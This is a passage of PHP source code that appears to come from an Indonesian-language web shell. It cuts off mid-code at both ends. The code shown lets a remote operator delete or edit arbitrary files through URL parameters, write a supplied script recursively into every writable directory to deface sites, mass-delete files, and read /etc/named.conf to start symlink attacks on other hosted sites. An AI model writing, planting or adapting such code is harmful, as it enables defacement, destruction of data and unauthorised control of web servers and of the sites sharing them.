";
}
}
}elseif(isset($_GET['del'])){
if(unlink($_GET['del'])){
//alert("Delete Successfully");
echo "Delete Successfully";
}else{
//alert("Failed");
echo "Delete Failed";
}
}elseif(isset($_GET['exit'])){
session_destroy();
pindah('?home');
}elseif(isset($_GET['edit'])){
$save=$_GET['edit'];
$cont=htmlspecialchars(file_get_contents($save));
echo "
";
author();
if(isset($_POST['pausiganteng'])){
if(write($_POST['fcont'],$save) == "1"){
echo "Edit Successfully
";
alert('Edit Successfully.');
}else{
alert('Failed.');
echo('Failed.');
}
}
}elseif($_GET['mass'] == 'deface'){ //mass deface
function mass_kabeh($dir,$namafile,$isi_script) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$lokasi = $dirc.'/'.$namafile;
if($dirb === '.') {
file_put_contents($lokasi, $isi_script);
} elseif($dirb === '..') {
file_put_contents($lokasi, $isi_script);
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
echo "[DONE] $lokasi
";
file_put_contents($lokasi, $isi_script);
$idx = mass_kabeh($dirc,$namafile,$isi_script);
}
}
}
}
}
}
function mass_biasa($dir,$namafile,$isi_script) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$lokasi = $dirc.'/'.$namafile;
if($dirb === '.') {
file_put_contents($lokasi, $isi_script);
} elseif($dirb === '..') {
file_put_contents($lokasi, $isi_script);
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
echo "[DONE] $dirb/$namafile
";
file_put_contents($lokasi, $isi_script);
}
}
}
}
}
}
if($_POST['start']) {
if($_POST['tipe'] == 'massal') {
echo "";
mass_kabeh($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
echo "
";
} elseif($_POST['tipe'] == 'biasa') {
echo "";
mass_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
echo "
";
}
echo "<- kembali";
} else {
echo "";
echo "";
}
}elseif($_GET['mass'] == 'delete') {
function hapus_massal($dir,$namafile) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$lokasi = $dirc.'/'.$namafile;
if($dirb === '.') {
if(file_exists("$dir/$namafile")) {
unlink("$dir/$namafile");
}
} elseif($dirb === '..') {
if(file_exists("".dirname($dir)."/$namafile")) {
unlink("".dirname($dir)."/$namafile");
}
} else {
if(is_dir($dirc)) {
if(is_writable($dirc)) {
if(file_exists($lokasi)) {
echo "[DELETED] $lokasi
";
unlink($lokasi);
$idx = hapus_massal($dirc,$namafile);
}
}
}
}
}
}
}
if($_POST['start']) {
echo "";
hapus_massal($_POST['d_dir'], $_POST['d_file']);
echo "
";
echo "<- kembali";
} else {
echo "";
echo "";
}
}elseif(isset($_GET['sym'])) {
if (!is_file('named.txt')) {
$d00m = @file("/etc/named.conf");
} else {
$d00m = @file("named.txt");
}
if (!$d00m) {
die("");
} else {
echo "